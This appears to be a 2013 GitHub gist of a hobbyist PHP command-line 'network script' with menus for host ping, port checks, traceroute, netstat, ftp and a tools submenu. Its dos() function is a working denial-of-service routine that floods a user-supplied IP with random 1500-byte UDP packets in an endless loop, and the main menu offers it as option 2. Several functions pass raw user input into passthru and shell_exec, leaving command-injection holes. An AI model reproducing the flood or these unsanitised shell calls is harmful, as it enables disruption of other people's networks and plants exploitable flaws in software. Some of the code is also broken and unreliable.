Created
June 18, 2013 17:14
-
-
Save avraampiperidis/5807355 to your computer and use it in GitHub Desktop.
im trying to make a general purpose simple php network script with network and system functions i tryed to put as much as i could. i want to put telnet and netcat and an auto scan and connect function but i have some hard time in coding.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//php network script | |
//works only on cli | |
//by zeron abraham piperidis3@yahoo.gr (any response would be appreciate) | |
/*im trying to make a general purpose simple php network script with network and system functions | |
i tryed to put as much as i could. | |
i want to put telnet and netcat and an auto scan and connect function but i have some hard time in coding.*/ | |
// curl extension must enable!!!,for ubuntu-mint... apt-get install php5-curl | |
//works both linux and windows(very unstable on windows) mostly linux | |
//use with caution | |
//contains simple functions like ping ,portscan till a simple DoS attack | |
// | |
//free for all change it ,make it better! | |
//more later...not finished yet | |
/*ping not actualy ping,ping and icmp packets its not really using any ports because its below tcp/ip osi level, | |
from main menu *ping* works only on 80 open hosts(its like httping) if this could be consider ping. | |
so u would not be able to ping machines behind filtered firwalls. | |
im trying to avoid as much as i can exec() function, | |
in tools submenu is second ping function working with exec(didnt had any other option) | |
*/ | |
echo " \n",'||>----Welcome to a php network script----<||', " \n"; | |
menu: | |
class net { //base class with the basic 9 options and its funtions | |
function out() { | |
@$name = exec('whoami'); | |
@$date = date("j, n, Y"); | |
echo " \n",'||+-->--------------------Main Menu------------------<--+||', " \n"; | |
echo '|+-->Option>-1 Host Ping ', " \n"; | |
echo '|+-->Option> 2. DoS ', " \n"; | |
echo '|+-->Option> 3. portscan', " \n"; | |
echo '|+-->Option> 4. Traceroute ', " \n"; | |
echo '|+-->Option> 5. Netstat ', " \n"; | |
echo '|+-->Option> 6. Ftp ', " \n"; | |
echo '|+-->Option> 7. tools', " \n"; | |
echo '|+-->Option> 8. help', " \n"; | |
echo '|+-->Option> 9. Exit', " \n"; | |
echo '||+>-----------|Protectron<->Protectsoft|-----------<||>'; | |
if (!$name) { echo ' '; | |
} else | |
{ echo $name; | |
} | |
if (!$date) { echo ' '; | |
} else | |
{ echo "|>",$date, " \n"," \n"; | |
} //if date and whoami fails just echo nothing | |
} | |
function ping($url=NULL) { | |
if($url == NULL) return false; // curl extension must enable,for ubuntu-mint... apt-get install php5-curl | |
$ch = curl_init($url); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 4); | |
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); | |
$data = curl_exec($ch); | |
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); | |
curl_close($ch); | |
if($httpcode>=200 && $httpcode<300) { | |
echo "|---->host $url is online<--------||", " \n"; | |
} else { | |
echo "|---->host $url is unavailable!<--------||", " \n"; | |
} | |
} | |
function ftp($ip) { | |
$ftp = passthru("ftp $ip"); | |
} | |
function nmap($ip,$port) { | |
$scan = @fsockopen($ip,$port,$errno, $errstr, 3); | |
if (!$scan) { | |
echo " \n","||--->Port is closed or not opened<---||", " \n"; | |
} else { | |
echo " \n",'|---->',"|Host> $ip |UP| and |port> $port are open--<|", " \n"," \n"; | |
} | |
} | |
function traceroute($a) { | |
$trace = passthru("traceroute $a"); //passthru in this case rather exec,passthru outputs raw data | |
if (!$trace) { | |
echo " \n","|--->Failed!...trying tracert...", $tracert = passthru("tracert $a"); } | |
else { echo $trace; | |
} | |
} | |
function netstat ($a) { | |
echo '|--->Netstat may take a while '," \n"; | |
$netstat = passthru("netstat $a"); //$a for netstat options | |
} | |
function tcpdump ($a,$b) { | |
} | |
function dos($ip) { //this one is very funny.works only in lan.send big amount of packeges to 80 port | |
$socket = socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); // Create sockets | |
if(!$socket) { | |
die("Unable to create sockets."); | |
} // Unable to create sockets | |
$data = ""; | |
for($i = 0;$i < 1500; $i++){ | |
$data.= chr(rand(0,255));} // Generate random data with 1500 bytes length (limit) | |
while(true) //Infinite loop | |
{ | |
if(!socket_sendto($socket,$data,strlen($data),0,$ip,80)) { | |
die("Unable to send sockets.");} echo (" |.| "); | |
} | |
} | |
} | |
$b = new tools(); | |
$a = new net(); | |
$a->out(); | |
$input = fwrite(STDOUT,"|>----choose function:~/$ "); | |
$input = trim(fgets(STDIN)); | |
if ($input == 1) { | |
$input = fwrite(STDOUT,"|>----enter ip:~/$ "); | |
$input = trim(fgets(STDIN)); | |
$a->ping($input); | |
goto menu; | |
} | |
elseif ($input == 2) { | |
$input = fwrite(STDOUT,"|>----enter ip for DoS:~/$ "); | |
$input = trim(fgets(STDIN)); | |
$a->dos($input); | |
goto menu; | |
} | |
elseif ($input == 3) { | |
$input = fwrite(STDOUT,'|>----enter ip:~/$'); | |
$input = trim(fgets(STDIN)); | |
$input2 = fwrite(STDOUT,'|>----enter port:~/$'); | |
$input2 = trim(fgets(STDIN)); | |
$a->nmap($input,$input2); | |
goto menu; | |
} | |
elseif ($input == 4) { | |
$input = fwrite(STDOUT,'|>----enter ip or host:~/$'); | |
$input = trim(fgets(STDIN)); | |
$a->traceroute($input); | |
goto menu; | |
} | |
elseif ($input == 5) { | |
$input5 = fwrite(STDOUT,'||>----Enter option for netstat or hit enter to scan all:~/$'); | |
$input5 = trim(fgets(STDIN)); | |
$a->netstat($input5); | |
goto menu; | |
} | |
elseif ($input == 6) { | |
$input6 = fwrite(STDOUT,'||>---Enter ip or host name:~/$'); | |
$input6 = trim(fgets(STDIN)); | |
$a->ftp($input6); | |
goto menu; | |
} | |
elseif ($input == 8) { | |
$a->help(); | |
goto menu; | |
} | |
elseif ($input == 7) { | |
$b->outb(); | |
goto submenu; | |
} | |
elseif ($input == 9) { | |
exit ; | |
} else { | |
echo " \n", '|>--------Wrong option try again--------<|', " \n", " \n"; | |
goto menu; | |
} | |
submenu: | |
class tools extends net { // extended class tools from main class net.9 more suboptions from main option tools. | |
function outb() { | |
echo " \n",' ||>>-------->Tools<-------->>>>||', " \n"; | |
echo " \n",'|>----Option 1. local ip:', " \n"; | |
echo '|>----Option 2. Ping:', " \n"; | |
echo '|>----Option 3. Whoami:', " \n"; | |
echo '|>----Option 4. Environment:', " \n"; | |
echo '|>----Option 5. Top:', " \n"; | |
echo '|>----Option 6. Matrix illusion:', " \n"; | |
echo '|>----Option 7. Php shell:', " \n"; | |
echo '|>----Option 8. Shell window:', " \n"; | |
echo '|>----Option 9. Main Menu:' , " \n"; | |
} | |
function ip($a) { | |
$a; | |
@$ip = shell_exec('ipconfig'); //if ifconfig fails runs ipconfig for both linux and windows | |
if (!$ip) { | |
echo "|---->ipconfig command not found! trying ifconfig..."," \n", $ip1 = shell_exec('ifconfig'); } | |
$this->outb(); | |
} | |
function whoami($a) { | |
@$who10 = exec('echo %USERDOMAIN%\%USERNAME%'); // | |
if (!$who10) { echo ' ';} | |
else { echo " \n",'|>>>>----|',$who1 = exec('whoami'),'---------------<||', " \n"; } | |
$this->outb(); | |
} | |
function ping1($ip) { | |
echo " \n","|-----------$ip---------->>"," \n"; //just a simple ping function works both linux n windows | |
$ping = shell_exec("ping -w 4 $ip"); | |
if (!$ping) {echo shell_exec("ping $ip"); } | |
else {echo $ping;} | |
$this->outb(); | |
} | |
function top() { | |
$top = shell_exec('top -n 1'); //top only for linux | |
if (!$top) { echo 'failed';} | |
else { echo $top," \n";} | |
$input2 = fwrite(STDOUT,'|----->Press any button to continue:'); | |
$input2 = trim(fgets(STDIN)); | |
if ($input2 == null) {$this->outb();} else {$this->outb();} | |
} | |
function matrix() { //this one is one of my favorite.outputs random 0 n 1 creating a matrix like ilusion | |
//works only on cli | |
//by zeron | |
matrix: | |
$table = array('| |'); | |
$numbers = array(0,1,00,01,10,11,111,000,' '); | |
shuffle($table); | |
shuffle($numbers); | |
foreach ($numbers as $numbers) { | |
set_time_limit(0); | |
usleep(900); // change this to increase or decrease speed | |
echo "$numbers"; | |
} | |
foreach ($table as $table) { | |
set_time_limit(0); | |
usleep(900); // // change this to increase or decrease speed | |
echo "$table"; | |
} | |
goto matrix; | |
} | |
function phpshell() { //a php command line shell | |
phpshell: | |
$name = exec('whoami'); | |
$out = fwrite(STDOUT,"$name@box~/$:"); | |
$out = trim(fgets(STDIN)); | |
echo shell_exec($out); | |
if ($out == 'exit') { | |
exit; | |
} | |
goto phpshell; | |
} | |
function window() { //just echo the following | |
$who = exec('whoami'); | |
echo ' _________________________________________________________ '," \n"; | |
echo ' |File|Edit|View|Terminal_________________________|_|[]|X||'," \n"; | |
echo ' '," $who",':~$',' echo `im php developer`',' || '," \n"; | |
echo ' || '," \n"; | |
echo ' || '," \n"; | |
echo ' || '," \n"; | |
echo ' || '," \n"; | |
echo ' || '," \n"; | |
echo ' || '," \n"; | |
echo ' || '," \n"; | |
echo ' || '," \n"; | |
echo ' || '," \n"; | |
echo ' _______________________________________________________|| '," \n"; | |
$this->outb(); | |
} | |
function main() { | |
} | |
} | |
$input = fwrite(STDOUT,"|>----choose function:~/$ "); | |
$input = trim(fgets(STDIN)); | |
if ($input == 1) { | |
$b->ip(error_reporting(0)); | |
goto submenu; | |
} | |
elseif ($input == 3) { | |
$b->whoami(error_reporting(0)); | |
goto submenu; | |
} | |
elseif ($input == 5) { | |
$b-> top(); | |
goto submenu; | |
} | |
elseif ($input == 6) { | |
$b->matrix(); | |
goto submenu; | |
} | |
elseif ($input == 7) { | |
$b->phpshell(); | |
goto submenu; | |
} | |
elseif ($input == 8) { | |
$b->window(); | |
goto submenu; | |
} | |
elseif ($input == 2) { | |
$input1 = fwrite(STDOUT,"|>----enter ip:~/$ "); | |
$input1 = trim(fgets(STDIN)); | |
$b->ping1($input1); | |
goto submenu; | |
} | |
elseif ($input == 9) { | |
goto menu; | |
} | |
elseif ($input == 4) { | |
echo shell_exec('env'); | |
echo '||>---------------------------------------------------------------|>||', " \n"; | |
$b->outb(); | |
goto submenu; | |
} else { echo " \n",'|>>------Wrong option try again------>>>>', " \n"; | |
$b->outb(); | |
goto submenu; | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment